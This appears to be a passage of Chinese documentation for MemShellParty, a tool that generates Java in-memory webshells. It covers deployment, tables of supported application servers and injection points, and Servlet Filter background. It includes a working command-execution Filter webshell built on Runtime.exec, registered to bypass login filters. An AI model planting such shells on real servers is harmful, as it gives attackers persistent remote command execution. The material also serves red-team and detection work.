    docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
    ```
  </Tab>
</Tabs>

镜像是无状态的，在需要更新最新镜像时，直接移除新建就好了

```bash
# 移除之前部署的
docker rm -f memshell-party

# 使用之前的部署命令重新部署（会自动拉取最新的镜像部署）
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```

## Jar 包部署 [#jar-包部署]

下载最新 [release](https://github.com/ReaJason/MemShellParty/releases) 的 boot-x.x.x.jar 包

使用 JDK17 启动 jar 包，并使用浏览器访问：[http://127.0.0.1:8080](http://127.0.0.1:8080)

```bash
java -jar --add-opens=java.base/java.util=ALL-UNNAMED \
        --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
        --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
        boot-x.x.x.jar
```

如果存在端口冲突，需要自定义服务端口，使用如下命令： `--server.port=自定义端口`

```bash
java -jar --add-opens=java.base/java.util=ALL-UNNAMED \
        --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
        --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
        boot-x.x.x.jar --server.port=999
```


# 目标服务 (/docs/server-intro)



以下服务仅我个人遇到的一些场景，与实际攻防场景可能仍有差距，但是在 MemShellParty
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充，欢迎 PR 交流学习\~

## Tomcat [#tomcat]

> 官网：[https://tomcat.apache.org/](https://tomcat.apache.org/)

> 版本适配：[https://tomcat.apache.org/whichversion.html](https://tomcat.apache.org/whichversion.html)

> Tomcat 3+ 下载网址：[https://archive.apache.org/dist/tomcat](https://archive.apache.org/dist/tomcat)

Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现，限制较少，在 MemShellParty 中，服务类型选 Tomcat 即可生成 Tomcat
内存马。

一般而言，SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能，比如 Nacos，这种情况下可以选择 Tomcat 内存马注入。其他服务中，致远 OA、Confluence、帆软也是使用 Tomcat。

* Spring Boot 1.x 如果使用默认的 spring-boot-starter-web 1.x 依赖，则使用的 spring-boot-starter-tomcat 1.x 中 Tomcat 版本为 Tomcat 8.x。
* Spring Boot 2.x 如果使用默认的 spring-boot-starter-web 2.x 依赖，则使用的 spring-boot-starter-tomcat 2.x 中 Tomcat 版本为 Tomcat 9.x。
* Spring Boot 3.x 如果使用默认的 spring-boot-starter-web 3.x 依赖，则使用的 spring-boot-starter-tomcat 3.x 中 Tomcat 版本为 Tomcat 10.x。

<div className="tomcat-version-table">
  <figure>
    | Version         | Servlet | JakartaServlet | Filter | JakartaFilter | Listener | JakartaListener | Valve | JakartaValve | ProxyValve | JakartaProxyValve | WebSocket | JakartaWebSocket | Upgrade | AgentFilterChain | AgentContextValve |
    | --------------- | :-----: | :------------: | :----: | :-----------: | :------: | :-------------: | :---: | :----------: | :--------: | :---------------: | :-------: | :--------------: | :-----: | :--------------: | :---------------: |
    | Tomcat 5.x      |    ✔️   |                |   ✔️   |               |    ✔️    |                 |   ✔️  |              |     ✔️     |                   |           |                  |         |        ✔️        |         ✔️        |
    | Tomcat 6.x      |    ✔️   |                |   ✔️   |               |    ✔️    |                 |   ✔️  |              |     ✔️     |                   |           |                  |         |        ✔️        |         ✔️        |
    | Tomcat 7.x      |    ✔️   |                |   ✔️   |               |    ✔️    |                 |   ✔️  |              |     ✔️     |                   |     ✔️    |                  |         |        ✔️        |         ✔️        |
    | Tomcat 8.x      |    ✔️   |                |   ✔️   |               |    ✔️    |                 |   ✔️  |              |     ✔️     |                   |     ✔️    |                  |    ✔️   |        ✔️        |         ✔️        |
    | Tomcat 9.x      |    ✔️   |                |   ✔️   |               |    ✔️    |                 |   ✔️  |              |     ✔️     |                   |     ✔️    |                  |    ✔️   |        ✔️        |         ✔️        |
    | Tomcat 10.x     |         |       ✔️       |        |       ✔️      |          |        ✔️       |       |      ✔️      |            |         ✔️        |           |        ✔️        |    ✔️   |        ✔️        |         ✔️        |
    | Tomcat 11.x     |         |       ✔️       |        |       ✔️      |          |        ✔️       |       |      ✔️      |            |         ✔️        |           |        ✔️        |    ✔️   |        ✔️        |         ✔️        |
    | Spring Boot 1.x |    ✔️   |                |   ✔️   |               |    ✔️    |                 |   ✔️  |              |     ✔️     |                   |     ✔️    |                  |    ✔️   |        ✔️        |         ✔️        |
    | Spring Boot 2.x |    ✔️   |                |   ✔️   |               |    ✔️    |                 |   ✔️  |              |     ✔️     |                   |     ✔️    |                  |    ✔️   |        ✔️        |         ✔️        |
    | Spring Boot 3.x |         |       ✔️       |        |       ✔️      |          |        ✔️       |       |      ✔️      |            |         ✔️        |           |        ✔️        |    ✔️   |        ✔️        |         ✔️        |
    | BES 9.5.1       |    ✔️   |                |   ✔️   |               |    ✔️    |                 |   ✔️  |              |     ✔️     |                   |     ✔️    |                  |         |        ✔️        |         ✔️        |

    <figcaption align="center">
      表 1：Tomcat 各版本内存马挂载类型参考表
    </figcaption>
  </figure>
</div>

<style>
  {`
    .tomcat-version-table table th:first-child,
    .tomcat-version-table table td:first-child {
      min-width: 150px;
    }
    `}
</style>

## Jetty [#jetty]

> 官网：[https://jetty.org/](https://jetty.org/)

Jetty6 版本使用的包名为 `org.mortbay.jetty`，而 7 以上使用的是 `org.eclipse.jetty`，在测试最新的 Jenkins 时，发现 Jetty12
版本支持 ee8 \~ ee11 的环境，包名对应的是 `org.eclipse.jetty.ee8`，这些在 MemShellParty 中均已支持，因此服务类型选 Jetty
即可生成 Jetty 内存马。在 SpringWebMVC 项目中也是有可能使用的。

* Spring Boot 1.x/2.x 如果使用的 spring-boot-starter-jetty 1.x/2.x 中 Jetty 版本为 Jetty 9.x。
* Spring Boot 3.0.x/3.1.x 如果使用的 spring-boot-starter-jetty 3.0.x/3.1.x 中 Jetty 版本为 Jetty 11.x。
* Spring Boot 3.2.x+ 如果使用的 spring-boot-starter-jetty 3.2.x 中 Tomcat 版本为 Jetty 12.x ee10。

<div className="jetty-version-table">
  <figure>
    | Version                 | Servlet | JakartaServlet | Filter | JakartaFilter | Listener | JakartaListener | Handler | JakartaHandler | Customizer | AgentHandler |
    | ----------------------- | :-----: | :------------: | :----: | :-----------: | :------: | :-------------: | :-----: | :------------: | :--------: | :----------: |
    | Jetty 6.x               |    ✔️   |                |   ✔️   |               |    ✔️    |                 |    ✔️   |                |            |      ✔️      |
    | Jetty 7.x               |    ✔️   |                |   ✔️   |               |    ✔️    |                 |    ✔️   |                |            |      ✔️      |
    | Jetty 8.x               |    ✔️   |                |   ✔️   |               |    ✔️    |                 |    ✔️   |                |            |      ✔️      |
    | Jetty 9.x               |    ✔️   |                |   ✔️   |               |    ✔️    |                 |    ✔️   |                |     ✔️     |      ✔️      |
    | Jetty 10.x              |    ✔️   |                |   ✔️   |               |    ✔️    |                 |    ✔️   |                |     ✔️     |      ✔️      |
    | Jetty 11.x              |         |       ✔️       |        |       ✔️      |          |        ✔️       |         |       ✔️       |     ✔️     |      ✔️      |
    | Jetty 12.x ee8          |    ✔️   |                |   ✔️   |               |    ✔️    |                 |    ✔️   |                |            |      ✔️      |
    | Jetty 12.x ee9\~ee11    |         |       ✔️       |        |       ✔️      |          |        ✔️       |         |       ✔️       |            |      ✔️      |
    | Spring Boot 1.x/2.x     |    ✔️   |                |   ✔️   |               |    ✔️    |                 |    ✔️   |                |     ✔️     |      ✔️      |
    | Spring Boot 3.0.x/3.1.x |    ✔️   |                |   ✔️   |               |    ✔️    |                 |    ✔️   |                |     ✔️     |      ✔️      |
    | Spring Boot 3.2.x+      |         |       ✔️       |        |       ✔️      |          |        ✔️       |         |       ✔️       |            |      ✔️      |

    <figcaption align="center">
      表 2：Jetty 各版本内存马挂载类型参考表
    </figcaption>
  </figure>
</div>

<style>
  {`
    .jetty-version-table table th:first-child,
    .jetty-version-table table td:first-child {
      min-width: 180px;
    }
    `}
</style>

## JBoss [#jboss]

> JBossAS: [https://jbossas.jboss.org/downloads](https://jbossas.jboss.org/downloads)

> JBossEAP: [https://developers.redhat.com/products/eap/download](https://developers.redhat.com/products/eap/download)

JBoss 分为 JBossAS 和 JBossEAP，JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现，JBossEAP7/JBossEAP8 的
[Undertow](#undertow) 提供的 Servlets 实现。

因此 JBossAS 4\~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成，而 JBossEAP7/JBossEAP8 需要选择
[Undertow](#undertow) 进行内存马的生成。

<div className="jboss-version-table">
  <figure>
    | Version             | Filter | Listener | Valve | ProxyValve | AgentFilterChain | AgentContextValve |
    | ------------------- | :----: | :------: | :---: | :--------: | :--------------: | :---------------: |
    | JBoss 4.x           |   ✔️   |    ✔️    |   ✔️  |     ✔️     |        ✔️        |         ✔️        |
    | JBoss AS 5.x \~ 7.x |   ✔️   |    ✔️    |   ✔️  |     ✔️     |        ✔️        |         ✔️        |
    | JBoss EAP 6.x       |   ✔️   |    ✔️    |   ✔️  |     ✔️     |        ✔️        |         ✔️        |

    <figcaption align="center">
      表 3：JBoss 各版本内存马挂载类型参考表
    </figcaption>
  </figure>
</div>

<style>
  {`
    .jboss-version-table table th:first-child,
    .jboss-version-table table td:first-child {
      min-width: 100px;
    }
    `}
</style>

## Wildfly [#wildfly]

> 官网：[https://www.wildfly.org/](https://www.wildfly.org/)

Wildfly 使用的 [Undertow](#undertow) 提供的 Servlets 实现，因此服务类型选择 [Undertow](#undertow) 生成内存马。

## Undertow [#undertow]

> 官网：[https://undertow.io/](https://undertow.io/)

Undertow 是 JBoss 社区开发的高性能 Java Web 服务器，Wildfly 以及 JBossEAP7/8 使用的均是 Undertow 提供的 Servlets 实现，因此服务类型选择 Undertow 进行内存马的生成。

<div className="undertow-version-table">
  <figure>
    | Version               | Servlet | JakartaServlet | Filter | JakartaFilter | Listener | JakartaListener | AgentServletHandler |
    | --------------------- | :-----: | :------------: | :----: | :-----------: | :------: | :-------------: | :-----------------: |
    | Undertow 1.x \~ 2.2.x |    ✔️   |                |   ✔️   |               |    ✔️    |                 |          ✔️         |
    | Undertow 2.3.x+       |         |       ✔️       |        |       ✔️      |          |        ✔️       |          ✔️         |
    | JBoss EAP 7.x         |    ✔️   |                |   ✔️   |               |    ✔️    |                 |          ✔️         |
    | JBoss EAP 8.x         |         |       ✔️       |        |       ✔️      |          |        ✔️       |          ✔️         |
    | WildFly 9.x \~ 26.x   |    ✔️   |                |   ✔️   |               |    ✔️    |                 |          ✔️         |
    | WildFly 27.x+         |         |       ✔️       |        |       ✔️      |          |        ✔️       |          ✔️         |

    <figcaption align="center">
      表 4：Undertow 各版本内存马挂载类型参考表
    </figcaption>
  </figure>
</div>

<style>
  {`
    .undertow-version-table table th:first-child,
    .undertow-version-table table td:first-child {
      min-width: 160px;
    }
    `}
</style>

## GlassFish [#glassfish]

> 官网：[https://glassfish.org/](https://glassfish.org/)

GlassFish 使用的是 Catalina 提供的 Servlets 实现，但是使用了 OSGI 类加载模式，因此类限制较为严重，Apusic V10 和 Primeton V6.5 基于 GlassFish 进行二开，在 MemShellParty 中，服务类型选择
GlassFish 进行内存马的生成。

<div className="glassfish-version-table">
  <figure>
    | Version              | Filter | JakartaFilter | Listener | JakartaListener | Valve | JakartaValve | AgentFilterChain | AgentContextValve |
    | -------------------- | :----: | :-----------: | :------: | :-------------: | :---: | :----------: | :--------------: | :---------------: |
    | GlassFish 4.x \~ 5.x |   ✔️   |               |    ✔️    |                 |   ✔️  |              |        ✔️        |         ✔️        |
    | GlassFish 6.x+       |        |       ✔️      |          |        ✔️       |       |      ✔️      |        ✔️        |         ✔️        |
    | Payara 5.x+          |   ✔️   |               |    ✔️    |                 |   ✔️  |              |        ✔️        |         ✔️        |
    | Payara 6.x+          |        |       ✔️      |          |        ✔️       |       |      ✔️      |        ✔️        |         ✔️        |
    | Apusic V10           |   ✔️   |               |    ✔️    |                 |   ✔️  |              |        ✔️        |         ✔️        |
    | Primeton V6.5        |   ✔️   |               |    ✔️    |                 |   ✔️  |              |        ✔️        |         ✔️        |

    <figcaption align="center">
      表 5：GlassFish 各版本内存马挂载类型参考表
    </figcaption>
  </figure>
</div>

<style>
  {`
    .glassfish-version-table table th:first-child,
    .glassfish-version-table table td:first-child {
      min-width: 160px;
    }
    `}
</style>

## Payara [#payara]

> 官网：[https://www.payara.fish/downloads/](https://www.payara.fish/downloads/)

基于 GlassFish 开发，服务类型选择 [GlassFish](#glassfish) 进行内存马的生成。

## Resin [#resin]

> 官网：[https://caucho.com/products/resin/download](https://caucho.com/products/resin/download)

Resin 使用的包名为 `com.caucho.`，泛微 OA 使用的就是 Resin，服务类型选择 Resin 进行内存马的生成。

<figure>
  | Version   | Filter | Listener | AgentFilterChain |
  | --------- | :----: | :------: | :--------------: |
  | Resin 3.x |   ✔️   |    ✔️    |        ✔️        |
  | Resin 4.x |   ✔️   |    ✔️    |        ✔️        |

  <figcaption align="center">
    表 6：Resin 各版本内存马挂载类型参考表
  </figcaption>
</figure>

## WebLogic [#weblogic]

> 官网：[https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html](https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html)

WebLogic 使用的包名为 `weblogic.`，服务类型选择 WebLogic 进行内存马的生成。

<figure>
  | Version         | Filter | Listener | AgentServletContext |
  | --------------- | :----: | :------: | :-----------------: |
  | WebLogic 10.3.6 |   ✔️   |    ✔️    |          ✔️         |
  | WebLogic 12.x   |   ✔️   |    ✔️    |          ✔️         |
  | WebLogic 14.x   |   ✔️   |    ✔️    |          ✔️         |

  <figcaption align="center">
    表 7：WebLogic 各版本内存马挂载类型参考表
  </figcaption>
</figure>

## WebSphere [#websphere]

> 官网：[https://www.ibm.com/products/websphere-application-server](https://www.ibm.com/products/websphere-application-server)

WebSphere 是 IBM 研发的商用 Servlets 容器，开源版本为 Websphere liberty，
包名为 `com.ibm.`，服务类型选择 WebSphere 进行内存马的生成。

<figure>
  | Version       | Filter | Listener |      AgentFilterManager     |
  | ------------- | :----: | :------: | :-------------------------: |
  | WebSphere 7.x |   ✔️   |    ✔️    | ✔️（需要开启 debug 模式才允许 attach） |
  | WebSphere 8.x |   ✔️   |    ✔️    |              ✔️             |
  | WebSphere 9.x |   ✔️   |    ✔️    |              ✔️             |

  <figcaption align="center">
    表 8：WebSphere 各版本内存马挂载类型参考表
  </figcaption>
</figure>

## BES [#bes]

> 官网：[https://www.bessystem.com/](https://www.bessystem.com/)

BES 宝兰德，其基于 Tomcat 进行二开，在 BES 9.5.1 版本中没有进行包名修改，而在 BES 9.5.2
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本，服务类型选择 Tomcat 进行内存马的生成，BES 9.5.2+ 服务类型选择
BES 进行内存马的生成。

<figure>
  | Version   | Filter | Listener | Valve | AgentFilterChain | AgentContextValve |
  | --------- | :----: | :------: | :---: | :--------------: | :---------------: |
  | BES 9.5.2 |   ✔️   |    ✔️    |   ✔️  |        ✔️        |         ✔️        |
  | BES 9.5.5 |   ✔️   |    ✔️    |   ✔️  |        ✔️        |         ✔️        |

  <figcaption align="center">
    表 9：BES 各版本内存马挂载类型参考表
  </figcaption>
</figure>

## TongWeb [#tongweb]

> 官网：[https://www.tongtech.com/sy.html](https://www.tongtech.com/sy.html)

TongWeb 东方通，其基于 Tomcat 进行二开，并且在最初的 6 版本就进行了包名修改，每个版本都进行了修改。

* TongWeb6: `com.tongweb.web.thor.`
* TongWeb7: `com.tongweb.catalina.`
* TongWeb8: `com.tongweb.server.`

这三个版本在 MemShellParty 中均有适配，服务类型选择 TongWeb 进行内存马的生成。

<figure>
  | Version     | Filter | Listener | Valve | AgentFilterChain | AgentContextValve |
  | ----------- | :----: | :------: | :---: | :--------------: | :---------------: |
  | TongWeb 6.x |   ✔️   |    ✔️    |   ✔️  |        ✔️        |         ✔️        |
  | TongWeb 7.x |   ✔️   |    ✔️    |   ✔️  |        ✔️        |         ✔️        |
  | TongWeb 8.x |   ✔️   |    ✔️    |   ✔️  |        ✔️        |         ✔️        |

  <figcaption align="center">
    表 10：TongWeb 各版本内存马挂载类型参考表
  </figcaption>
</figure>

## Apusic [#apusic]

> 官网：[https://www.apusic.com/](https://www.apusic.com/)

金蝶中间件，Apusic9 疑似魔改自 GlassFish，不过改得面目全非了，自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
版本服务类型选择
Apusic 进行内存马生成，Apusic10 版本选择 [GlassFish](#glassfish) 进行内存马生成。

<figure>
  | Version      | Filter | Listener | AgentFilterChain |
  | ------------ | :----: | :------: | :--------------: |
  | Apusic 9.0   |   ✔️   |    ✔️    |        ✔️        |
  | Apusic 9.0.1 |   ✔️   |    ✔️    |        ✔️        |

  <figcaption align="center">
    表 11：Apusic 各版本内存马挂载类型参考表
  </figcaption>
</figure>

## Primeton [#primeton]

> 官网：[https://www.primeton.com/products/pas/](https://www.primeton.com/products/pas/)

普元中间件，Primeton6.5 版本基于 GlassFish
二开，高版本疑似做了包名修改，但没有环境，因此暂未适配（[#60](https://github.com/ReaJason/MemShellParty/issues/60)）因此当前仅支持
Primeton6.5 版本，服务类型选择 [GlassFish](#glassfish) 进行内存马生成。

## InforSuite [#inforsuite]

中创中间件，InforSuite 基于 GlassFish 进行二开，不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。

<figure>
  | Version       | Filter | Listener | Valve | AgentFilterChain | AgentContextValve |
  | ------------- | :----: | :------: | :---: | :--------------: | :---------------: |
  | InforSuite 9  |   ✔️   |    ✔️    |   ✔️  |        ✔️        |         ✔️        |
  | InforSuite 10 |   ✔️   |    ✔️    |   ✔️  |        ✔️        |         ✔️        |

  <figcaption align="center">
    表 12：InforSuite 各版本内存马挂载类型参考表
  </figcaption>
</figure>

## SpringWebMVC [#springwebmvc]

Spring 框架，默认的 MVC 架构，官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow，也可打包成 war 包部署于任意 Servlets
容器上。内存马注入场景下不推荐框架内存马，而是具体的 Servlets 容器内存马，因为可绕过框架的限制（鉴权或其他）。服务类型选择
SpringWebMVC 进行内存马生成。

<div className="springwebmvc-version-table">
  <figure>
    | Version                 | Interceptor | JakartaInterceptor | ControllerHandler | JakartaControllerHandler | AgentFrameworkServlet |
    | ----------------------- | :---------: | :----------------: | :---------------: | :----------------------: | :-------------------: |
    | SpringWebMVC 3.x \~ 5.x |      ✔️     |                    |         ✔️        |                          |           ✔️          |
    | Spring Boot 1.x/2.x     |      ✔️     |                    |         ✔️        |                          |           ✔️          |
    | SpringWebMVC 6.x        |             |         ✔️         |                   |            ✔️            |           ✔️          |
    | Spring Boot 3.x         |             |         ✔️         |                   |            ✔️            |           ✔️          |

    <figcaption align="center">
      表 13：SpringWebMVC 各版本内存马挂载类型参考表
    </figcaption>
  </figure>
</div>

<style>
  {`
    .springwebmvc-version-table table th:first-child,
    .springwebmvc-version-table table td:first-child {
      min-width: 200px;
    }
    `}
</style>

## SpringWebFlux [#springwebflux]

Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件，底层使用的 Netty，一般常见于各种 SpringCloud 项目，例如网关。服务类型选择
SpringWebFlux 进行内存马生成。

## XXL-JOB [#xxl-job]

> 官网：[https://www.xuxueli.com/xxl-job/](https://www.xuxueli.com/xxl-job/)

XXL-JOB 是一个分布式任务调度平台，由于 executor 出现过反序列化漏洞，并且弱密码情况下可在 admin 前台下发任务，在 executor 执行任意代码，因此在 MemShellParty 中也提供了 XXL-JOB 内存马的生成，服务类型选择 XXL-JOB 进行内存马生成。
executor 仅支持 Netty Handler 内存马注入。

## Dubbo [#dubbo]

> 官网：[https://dubbo.apache.org/en/](https://dubbo.apache.org/en/)

Dubbo 分为低版本 2.6x Alibaba Dubbo，包名为 `com.alibaba.dubbo.`，后来合并到 Apache 改为了 Apache Dubbo 2.7x 版本和 3.x 版本，包名为 `org.apache.dubbo.`，当前 Dubbo 内存马只针对 Dubbo Provider，对于 Dubbo Consumer 来说直接打对应的内存马即可比如 Spring 框架马。


# Apusic AS (/docs/servlet/apusic)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Servlet [#动态添加-servlet]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# BES (/docs/servlet/bes)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# GlassFish (/docs/servlet/glassfish)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# InforSuite AS (/docs/servlet/inforsuite)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Servlet [#动态添加-servlet]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# JBoss (/docs/servlet/jboss)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# Jetty (/docs/servlet/jetty)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Servlet [#动态添加-servlet]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# Resin (/docs/servlet/resin)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Servlet [#动态添加-servlet]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# Tomcat (/docs/servlet/tomcat)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Servlet [#动态添加-servlet]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# TongWeb (/docs/servlet/tongweb)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Servlet [#动态添加-servlet]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# Undertow (/docs/servlet/undertow)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# WebLogic (/docs/servlet/weblogic)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Servlet [#动态添加-servlet]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# WebSphere (/docs/servlet/websphere)



## 获取 ServletContext [#获取-servletcontext]

## 动态添加 Servlet [#动态添加-servlet]

## 动态添加 Filter [#动态添加-filter]

## 动态添加 Listener [#动态添加-listener]


# Filter (/docs/servlet/filter)



> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)

Filter 是 Servlet 规范中定义的一个 Web 组件，可作用在一个 Servlet 或多个 Servlet 上，以链式的方式顺序调用，其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。

## Filter 配置 [#filter-配置]

Filter 可以选择应用的 url-pattern 或 servlet-name，以下两种方式等价

```xml
<filter-mapping>
    <filter-name>Multipe Mappings Filter</filter-name>
    <url-pattern>/foo/*</url-pattern>
    <servlet-name>Servlet1</servlet-name>
    <servlet-name>Servlet2</servlet-name>
    <url-pattern>/bar/*</url-pattern>
</filter-mapping>
```

```java
@WebFilter(
        filterName = "Multipe Mappings Filter",
        urlPatterns = {"/foo/*", "/bar/*"},
        servletNames = {"Servlet1", "Servlet2"}
)
public class MultipeMappingsFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        // TODO
    }
}
```

## doFilter [#dofilter]

Web 容器在启动时，会扫描 Web 应用中所有 Filter 的定义来注册 Filter，并将其封装成 FilterChain，每个 Filter 在 JVM 中只会有一个实例。

Filter 的接口签名如下，其中最重要的就是 doFilter 方法。

1. Web 容器在接收到请求时，会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
2. 当过滤器链中最后一个过滤器被调用，将会访问到最终的 Servlet 或静态资源。
3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`，将会访问 chain 中下一个过滤器。
4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求，那么当前过滤器需要负责填充响应对象。

```java
public interface Filter {
    /**
     * 由 Web 容器在初始化 Filter 时调用。
     */
    public void init(FilterConfig filterConfig) throws ServletException;
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
    /**
     * 由 Web 容器在卸载 Filter 时调用。
     */
    public void destroy();
}
```

## FilterShell [#filtershell]

shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求，以下定义了一个命令回显的 FilterShell。

1. 一般而言，我们会为 FilterShell 注册 url-pattern 为 `/*`，这样无论访问哪个路径都能被调用到，而且为了绕过登录过滤器，我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
3. 当 Filter 注册的 url-pattern 为 `/*` 时，我们拿到 cmd 参数，就可以执行命令并填充响应对象 `return` 结束请求，而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`，否则正常的业务就不会被执行。

```java
public class CommandFilter implements Filter {
    public static String paramName;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest servletRequest = (HttpServletRequest) request;
        HttpServletResponse servletResponse = (HttpServletResponse) response;
        String cmd = servletRequest.getParameter(paramName);
        if (cmd != null) {
            Process exec = Runtime.getRuntime().exec(cmd);
            InputStream inputStream = exec.getInputStream();
            ServletOutputStream outputStream = servletResponse.getOutputStream();
            byte[] buf = new byte[8192];
            int length;
            while ((length = inputStream.read(buf)) != -1) {
                outputStream.write(buf, 0, length);
            }
            return;
        }
        chain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}
```


# Java Servlet 规范内存马 (/docs/servlet)



在 Java EE 中，Java 制定了 Servlet 规范，来规范在 Java 中提供 HTTP 服务的编写方式，其中有两个重要的概念，Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件，由容器进行管理，提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务，必须支持 HTTP，并且管理 Servlet 的生命周期，使 Servlet 在一个受限的安全环境中执行。Servlet 规范旨在让开发者基于规范开发的应用，可以部署在任意满足规范的 Web 容器上。在 Java Servlet 规范中处理基础的 Servlet Web 组件，还声明了 Filter 和 Listener 两个 Web 组件用于辅助开发，这些 Web 组件都由 ServletContext 进行管理。

目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本，从 Servlet 5.0 开始，Java EE 更名为 Jakarta EE，包路径从 **javax** 改为 **jakarta**。目前最新 Servlet 规范为 Jakarta Servlet 6.1，可前往 [https://jakarta.ee/specifications/servlet/](https://jakarta.ee/specifications/servlet/) 查看。

这也是为什么我们有两种版本，Servlet/JakartaServlet、Filter/JakartaFilter、Listener/JakartaListener。

## Servlet 三大 Web 组件 [#servlet-三大-web-组件]

<Cards>
  <Card href="/docs/servlet/servlet" title="Servlet 内存马">
    创建独特的 entrypoint 访问路径
  </Card>

  <Card href="/docs/servlet/filter" title="Filter 内存马">
    过滤器，遇事不决写点特别的东西然后中断请求
  </Card>

  <Card href="/docs/servlet/listener" title="Listener 内存马">
    监听器，请求创建时触发，拿请求体和响应体做不该做的事情
  </Card>
</Cards>

## ServletContext [#servletcontext]

> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)

ServletContext 定义了 Servlet 运行的 Web 应用视图，一个 Web 应用对应一个 ServletContext。

ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener，对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。

```java
addServlet(String servletName, String className);
addServlet(String servletName, Servlet servlet);
addServlet(String servletName, Class <? extends Servlet> servletClass);
addFilter(String filterName, String className);
addFilter(String filterName, Filter filter);
addFilter(String filterName, Class <? extends Filter> filterClass);
void addListener(String className);
void addListener(T t);
void addListener(Class <? extends EventListener> listenerClass);
```

这就是在注入内存马时我们需要先拿 Context 的原因（已经写在了 Servlet 规范里面啦），所以针对实现了 Servlet 规范的 Web 容器都是一个套路，并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是，其规定了这些方法只能在应用初始化的时候调用，我们注入内存马的时候已经是应用运行时了，那些代码实际上就是将方法内的具体实现重新用反射实现一遍。


# Listener (/docs/servlet/listener)



> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)

Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个，并且开发者可以指定监听器的调用顺序。

| Listener 接口类                                     | 描述                              |
| ------------------------------------------------ | ------------------------------- |
| javax.servlet.ServletContextListener             | 在 ServletContext 创建以及销毁时        |
